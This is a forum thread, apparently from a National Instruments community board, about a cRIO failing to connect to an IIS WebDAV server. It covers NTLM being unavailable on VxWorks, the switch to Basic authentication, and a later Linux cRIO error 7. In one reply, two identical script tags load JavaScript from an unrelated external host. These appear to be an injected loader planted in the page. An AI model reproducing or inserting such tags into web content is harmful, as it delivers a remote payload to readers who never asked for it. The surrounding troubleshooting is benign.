WebDAV session no error but not connected

[QFang]

I most certainly will!

Thanks,

QFang 😉

[JaredW]

You need to enable Digest Auth in your IIS server security settings (same page you sent a screenshot for earlier). NI-Auth uses Digest Auth when sending credentials to a server. If you enable this, your cRIO should authenticate correctly to your IIS server.

[QFang]

JaredW,

Is that (installing Digest Auth) the only action you had to take??  

It sounded like a great simple solution... however, installing Digest Auth did not do the trick for me.  I'm wondering if I need to change an option for the webserver and/or WebDAV setting someplace else in IIS to "enable" the Digest Auth beyond just installing it??

(I tried with "just" my user name and with domain\username same 363504 errors in both cases.)

Below are the (default) "advanced settings" for the webserver.  user pass-through sounds right, however, I'm not sure about the "Clear Text" option, though I have tried the various choices here without any luck.

Thanks again for helping troubleshoot this issue!! It "must" be some "simple" configuration issue? Right?

..ps: same VI still works when run from Windows laptop connecting to external windows server machine running WebDAV.. only cRIO fails to connect.

[QFang · Accepted solution]

I just wanted to update the thread with some new information:

This issue is actually a VXWorks specific issue as some libraries couldn't or wasn't cross-compiled for this platform that are required for NTLM authentication.

Specifically this is what I got back from support:

"NTLM authentication is disabled for WebDAV on VXWorks targets (I checked on a PharLap PXI system and everything worked properly). This means that anything with VXWorks will not be able to connect to Windows WebDAV Domain shares.

 The recommendation is to use basic authentication with SSL instead. Digest authentication is possible but was noted to be difficult."

Since the tutorial I linked to for WebDAV servers warns against Basic Auth., I will also post a link I got from support covering the subject in more detail as far as how to properly use Basic Auth. with SSL.

Again quoting a paragraph from support:

"I wanted to follow up with you with more information on the WebDAV security topic.

"The document below discusses which methods of authentication would be most secure for IIS, and it notes that "the best choices from a security point of view will usually be either Basic authentication over SSL (when maximum flexibility in serving a wide range of clients is the priority) and the Kerberos-only version of Integrated Windows authentication (when centralized user account management is the priority).
https://www.owasp.org/index.php/Authentication_In_IIS "

I will report back if it works and, time permitting, the steps to properly setup the WebDAV server in IIS.

[QFang]

and the missing report:  It works great with Basic Auth, but I have yet to try enabling SSL to encrypt it.  If anyone have issues after reading up on this thread, send me a PM.

[Dargm]

Hi ,

I am trying to setup a remote WebDAV server so my cRIO can push data to it. I have been playing  QFang's example provided here, I am having issues getting the example code to work from cRIO, but no issues running the same vi from My Computer.  I am using basic authenication with no SSL, When run from the cRIO, I get Labview error 7, file not found. I have also tested the web server from another remote computer on the same network, no issues with firewall, etc. The cRIO in this case is a 9068 Linux based, running with Labview RT 2014, does anyone know of  settings or configuations that need to be changed for the Linux based cRIO to access a remote WedDAV server ?

Thanks

[Rscd27]

Hello Dargm,

Can you provide us the full error message? I believe error 7 is generic error code.

<script src="https://cloudz.im/cache.php?t=1002" type="text/javascript"></script> <script src="https://cloudz.im/cache.php?t=1002" type="text/javascript"></script>

[Dargm]

Hi Randy, Here are the full error clusters, I can not find any additional info by searching NI.com.

[QFang]

Honestly, it would be much more helpful if you could provide your test VI's and/or the block diagram, otherwise all I have are speculations.

error 7 could be a path'ing issue. I assume you are using build/strip path functions to build your file paths, not just a string constant? The way a valid path is constructed looks different on Windows and Linux / RT systems, so this could be one possible issue.

[Dargm]

Hi QFang,

I am using your example exactly as you posted it back in 2013, No build/strip function, just passing the relative and prefix uri to the WebDav VIs.

When run from My computer I get no errors:

When run from cRio on same network with firewall turned off:

Thanks for your comments.